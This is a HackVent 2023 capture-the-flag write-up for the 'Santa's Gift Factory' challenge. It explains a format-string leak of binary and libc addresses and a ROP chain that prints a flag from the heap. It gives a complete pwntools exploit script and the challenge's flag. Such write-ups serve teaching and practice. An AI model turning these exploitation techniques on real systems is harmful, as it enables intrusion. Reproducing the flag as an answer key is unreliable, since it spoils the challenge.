HackVent 2023 - [HV23.16] Santa's Gift Factory

Posted on Jan 1, 2024

Difficulty: Hard

Category: Exploitation

Author: fabi_07

Did you know that Santa has its own factory for making gifts? Maybe you can exploit it to get your own special gift!

There is a vulnerable gets+ printf in tellflag that allows us to both leak the memory offsets of the binary and libc, and do ROP.

As the flag gets replaced after getting to that point in code though, we have to follow a different approach:

  1. Leak programm addresses
  2. ROP to the gets again by only modifying the least significant bit (not affected by ASLR)
  3. Getting a pointer to a heap address
  4. Subtracting a static offset from that address to get to the heap chunk containing the file struct -> the flag
  5. Printing out the value at that address

I’ve managed to do this with the following:

  • %35$p.%59$p as a printf string to get an offset for the binary and libc
  • %35$p - 0x00001858 is the base address
  • %59$p - libc.sym["__libc_start_main"] - 137 is the libc base
  • For getting back to the function we have 167 bytes of format string + padding + 0x9b to return right before the call to tellflag
  • getstr gives us a pointer on the heap to a string we enter into rax
  • The offset of the new heap chunk to the start of the flag is -0x2fe
  • For adding a value to rax we can use a pop rdi and add rax, rdi gadget from libc
  • For printing the flag, there is a mov rdi, rax and puts in tellflag at 0x15e5

The full exploit looks like this:

#!/usr/bin/env python3

from pwn import *

exe = ELF("./vuln_patched")
context.binary = exe

def conn():
    global libc
    if args.LOCAL:
        r = process([exe.path])
        libc = ELF("./libc.so.local")
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("<ip>", 1337)
        libc = ELF("./libc.so")

    return r

def main():
    r = conn()
    r.recvuntil(b"?")
    r.sendline(b"y")
    r.recvuntil(b"?")
    data = r.recvuntil(b"How")
    blue = data.count(b"blue")
    red = data.count(b"red")
    yellow = data.count(b"yellow")
    # good luck pwning :)
    r.sendline(str(red).encode())
    r.sendline(str(yellow).encode())
    r.sendline(str(blue).encode())
    r.sendline()


    r.recvuntil(b"anything else?")

    if args.LOCAL:
        gdb.attach(r, "set follow-fork parent")

    msg = b"%35$p.%59$p.."
    padding = (167-len(msg))*b'A' + p16(0x9b00)

    r.sendline(msg+padding)
    data = r.recvuntil(b"..").split(b"with ")[1]
    code = int(data.split(b".")[0],16)
    libc_base = int(data.split(b".")[1],16)
    base = code - 0x00001858
    exe.address = base
    libc.address = libc_base - libc.sym["__libc_start_main"] - 137
    warn(hex(libc.address))


    get_pointer = p64(base + 0x13bd)
    printflag = p64(base + 0x15e5)
    rop = ROP(libc)
    pop_rdi = p64(rop.find_gadget(["pop rdi", "ret"])[0])
    padding = cyclic(160)+p64(code)
    add_rax_rdi = p64(0x00000000000ac823+libc.address)

    payload = b"".join([
        padding,
        get_pointer,
        pop_rdi,
        pack(-0x2fe, 64),
        add_rax_rdi,
        printflag,
        ])

    r.sendline()
    r.sendline(payload)
    r.sendline()
    r.interactive()



if __name__ == "__main__":
    main()

The flag is:

HV23{roses_are_red_violets_are_blue_the_bufferoverfl0w_is_0n_line_32}